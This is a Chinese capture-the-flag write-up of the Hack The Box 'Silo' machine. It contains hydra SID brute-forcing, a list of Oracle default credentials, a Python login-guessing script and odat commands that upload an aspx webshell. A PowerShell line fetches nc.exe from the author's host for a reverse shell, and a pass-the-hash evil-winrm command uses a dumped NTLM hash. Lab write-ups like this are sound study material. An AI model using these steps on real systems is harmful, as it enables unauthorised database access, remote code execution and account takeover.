信息收集

分别对smb和rpc都进行guest用户和空密码测试。

1521的Oracle TNS listener 11.2.0.2.0。

搜索可能存在的漏洞。

得到一个CVE编号cve-2012-1675。同时我们可以对其进行SID枚举，SID说简单点就是数据库的名字。

简单的枚举似乎没有效果，尝试一下暴力破解。hacktricks有整理好的字典可供使用。

使用命令进行暴力破解：hydra -L /usr/share/wordlists/sids-oracle.txt -s 1521 10.10.10.82 oracle-sid

得到如下三个SID:XE、CLRExtProc、PLSExtProc。在MSF中能找到暴力登录用户的payload。

设置好端口、host、threads就可以run了，似乎有些什么状况。

使用nmap似乎也出现了问题。

加上用户文件和密码文件再次使用MSF尝试。


额，不会我的MSF和nmap罢工了吧。

感觉是个MSF的bug，可能是由于Nmap XML解析器没有正确处理XML文件的文档类型声明（doctype）而导致的。其实我觉得在开始之前其实应该尝试默认账号密码。万一运气好就碰上了。

DBSNMP/DBSNMP
SYS/CHANGE_ON_INSTALL
PCMS_SYS/PCMS_SYS
WMSYS/WMSYS
OUTLN/OUTLN
SCOTT/TIGER
DBSNMP/dbsnmp
SYS/change_on_install
PCMS_SYS/pcms_sys
WMSYS/wmsys
OUTLN/outln
SCOTT/tiger

试了几次登录的脚本都没办法使用，行吧，自己手写一个连接脚本测试。

import cx_Oracle
user_List = ["DBSNMP","SYS","PCMS_SYS","WMSYS","OUTLN","SCOTT","DBSNMP","SYS","PCMS_SYS","WMSYS","OUTLN","SCOTT"]
pass_List = ["DBSNMP","CHANGE_ON_INSTALL","PCMS_SYS","WMSYS","OUTLN","TIGER","dbsnmp","change_on_install","pcms_sys","wmsys","outln","tiger"]
db_List = ["XE","PLSExtProc","CLRExtProc"]

if range(len(user_List)) == range(len(pass_List)):
    for x in db_List:
        for i in range(len(user_List)):
            dsn = "10.10.10.82:1521/" + x
            print("[*]Connecting:%s/%s/%s" %(user_List[i],pass_List[i],dsn))
            try:
                conn = cx_Oracle.connect(user_List[i],pass_List[i],dsn=dsn)
                print("33[0;32;40m[+]Success! user:%s pass:%s db:%s33[0m" %(user_List[i],pass_List[i],x))
                if conn:
                    conn.close()
            except Exception as e:
                print("33[0;31;40m[-]Faild: %s33[0m" %e)

使用sqlplus连接。

查看XE数据库的表。

查看各表的字段。

emmm看起来都是正常的表还有正常的字段。要么通过spool写入文件。要么通过odat写入webshell，前提是IIS是在默认目录。或者通过odat写入reverse shell然后执行。先试试能不能通过spool写入，经过尝试发现似乎不能以这种方法来写入文件，那用odat吧。odat有很多能够使用的插件
选了一个能够上传插件dbmsxslprocessor，并且查看dbmsxslprocessor插件的用法。

odat dbmsxslprocessor -U SCOTT -P tiger -d XE -s 10.10.10.82 --putFile C:Inetpubwwwroot test.txt test.txt会出现权限不足（insufficient privileges）。

加上–sysdba参数试一试SCOTT是否拥有系统数据库权限。

又是什么原因，不知道为什么他无法识别我当前目录下的文件。切换dbmsadvisor插件也是一样，这是为什么。

不会是需要绝对路径吧。在dbmsxslprocessor插件下修改本地文件为绝对路径后上传成功。

Windows IIS支持的web扩展名有

• .asp
• .aspx
• .php
• .html
• .htm

虽然上传成功。

但是页面显示404，可能被过滤了。上传php的也被过滤。

上传aspx的webshell结果出现了错误界面。出于安全考虑拦截了远程查看应用程序错误的详细信息。

因为安全考虑所以阻止了我们远程查看错误，那说明还是执行了web shell。所以我打算直接生成一个反弹的shell看看能不能成功。

好吧，还是用kali自带的webshell试试吧。

立足

通过powershell命令powershell Invoke-WebRequest -Uri "http://10.10.14.31/nc.exe" -OutFile "nc.exe"下载nc.exe。

执行命令反弹shell。

额，可能需要横向。

貌似不需要横向移动，Phineas用户的Desktop会有一个Oracle issue.txt。

内容如下：

额，这密码看起来有点问题。使用上传的nc.exe传输文件。

使用vim打开后发现乱码字符。

在记事本中按下alt后输入0163。

root

拼接好密码后登录dropbox，密码：£%Hm8646uC$。下载下来的文件是一个windows的tmp文件。可以使用内存取证工具volatility。
首先我们需要对方系统的版本。

Windows Server 2012 R2 Standard，在volatility里面加上–list参数查看–profile需要什么值，好的找到了:Win2012R2x64。

使用hashdump尝试dumphash。

D:CTFMisc内存取证volatility_2.6_win64_standalonevolatility_2.6_win64_standalonevolatility_2.6_win64_standalone.exe  --profile Win2012R2x64 -f C:Users29669DesktopSILO-20180105-221806.dmp hashdump

收集到了三个用户的NTLM，可以尝试进行hash传递来控制目标。

使用evil-winrm -i 10.10.10.82 -u Administrator -H "9e730375b7cbcebf74ae46481e07b0c7"登录。

哈希传递攻击

大致了解一下哈希传递攻击吧：
哈希传递攻击是一种利用用户的密码散列值（通常是NTLM Hash）来进行身份验证的攻击方法。在域环境中，如果用户使用相同的本地管理员账号和密码登录不同的计算机，攻击者就可以通过获取其中一台计算机的本地管理员账号的NTLM Hash，来登录内网中的其他计算机。先来认识一下几种Windows的身份验证方法，Windows使用多种不同的验证方法其中包括NTLM、Kerberos、Digest Authentication等等。

• NTLM是一个质询-响应式的身份验证协议。
• Kerberos是一种基于票据的身份验证协议，它使用用户的用户名和密码来向一个可信的第三方（称为KDC）请求一个票据（称为TGT），然后使用这个票据来获取访问其他资源的票据（称为ST）。在Windows 2000以后的版本默认启用Kerberos。
• NTLM因为安全性较低逐渐被Kerberos替代，而NTLM简单容易使用兼容性好，比较容易在旧的应用和系统上使用。

之所以哈希能被读取的其原理就是因为这些身份验证都需要将其密码以及密码的衍生物（密码hash等）存放在内存中。而在本例中由于Windows系统可能出现问题导致生成了系统tmp文件，使用volatility进行内存取证发现了同样被生成在tmp文件类的NTLM哈希文件。

服务器托管，北京服务器托管，服务器租用 http://www.fwqtg.net